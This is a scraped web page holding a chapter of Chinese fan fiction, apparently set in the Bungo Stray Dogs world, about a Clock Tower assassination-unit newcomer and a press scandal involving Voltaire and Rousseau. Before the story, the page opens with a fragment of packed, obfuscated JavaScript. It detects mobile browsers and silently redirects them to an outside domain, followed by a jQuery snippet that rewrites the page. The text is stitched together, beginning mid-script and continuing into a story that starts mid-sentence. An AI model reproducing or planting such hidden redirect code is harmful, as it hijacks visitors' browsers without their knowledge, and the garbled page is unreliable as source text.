p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15137418|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彩照人的模样。 “明天还有工作要做。早点休息吧。” 茧一眠点点头,肾上腺素退去后,疲劳感确实如潮水般涌来。 他对王尔德说了句晚安,随后转身上楼。 —— 次日,茧一眠一踏进钟塔大楼就感觉到了异常。 平日里沉闷安静的大厅此刻人声鼎沸,各个部门的工作人员三五成群地聚在一起,窃窃私语,不时爆发出压抑的笑声。 茧一眠从自助咖啡机接了一杯黑咖啡,来到暗杀组办公室。艾米莉正坐在桌前,面色阴沉如水。 “怎么了?任务有问题吗?”茧一眠小心翼翼地问。 艾米莉叹了口气,把一份今日的泰晤士报推到他面前。头版是一张特写照片,标题醒目地写着:《深夜酒驾:布莱克议员的丑闻与谎言》。 看着没什么问题啊,茧一眠松了口气:“这不是我们想要的效果吗?” “往下看。”艾米莉说道。 茧一眠翻开第二版,差点把刚喝的咖啡喷出来——《法国政坛解放门:伏尔泰痛斥卢梭双重标准引发连环爆料》。 版面中央是一张极具冲击力的照片——伏尔泰和卢梭几乎面贴面地对峙。照片像是在混乱中抓拍的,画面略显倾斜,背景中隐约可见其他宾客惊愕的表情和几位试图上前劝阻的侍者,仿佛下一秒两人就会扭打在一起。 文章详细报道了伏尔泰如何打断卢梭关于“自然人”的演讲,当众怒斥其为“伪君子”和“道德败坏的骗子”。 随后更是不顾在场多位女士,详细列举了卢梭与众多前情人的不堪往事,用词之粗鄙,本报不便转载…… 面对如此猛烈的攻击,卢梭并未当场反驳。而是在次日凌晨,通过个人社交账号发布了长达18页的自白书,标题为《关于我的忏悔这件事》。 卢梭在帖子中肯定了伏尔泰的所有控诉,并承认了更多不堪的过往,包括他年少时的某些荒唐行为……还自暴出自己的一些特殊X癖好——嘶,这后面似乎放不出来。 茧一眠想到一个不算恰当的比喻,有人说你穿了红内裤,你直接脱下裤子,把内裤甩在他脸上说,“没错,怎么了!我穿得是红内裤,更是红色丁字内裤!” 艾米莉面带寒意:“前两版本该都是布莱克的丑闻,但现在他只占了一个版面,而且人们的注意力已经完全被卢梭和伏尔泰这出法国闹剧抢走了。” 茧一眠:“那……我还需要做什么后续处理吗?” 艾米莉揉了揉太阳穴,“暂时不用。警方已经以酒驾和危害公共安全的罪名逮捕了布莱克。本来想着直接摧毁他的政治生涯,现在看来还需要给他封个爵位。” 茧一眠困惑不已,“他在监狱里还能升职啊?” 艾米莉解释:“是被判刑,但不会执行。而且这不是升职,封爵意味着他将失去竞选下议院的资格,永远与内阁和首相之位无缘。” 他将成为无权无势的吉祥物,眼睁睁看着昔日同僚飞黄腾达——对一个有野心的政客来说,这足够可怕的惩罚,但是对于一个普通人来说,他受到舆论谴责和报应远远不够。 但这已经是钟塔侍从能做到极限了。 茧一眠似懂非懂地点点头。 虽然时机不够完美,但他的入部考核已经顺利完成。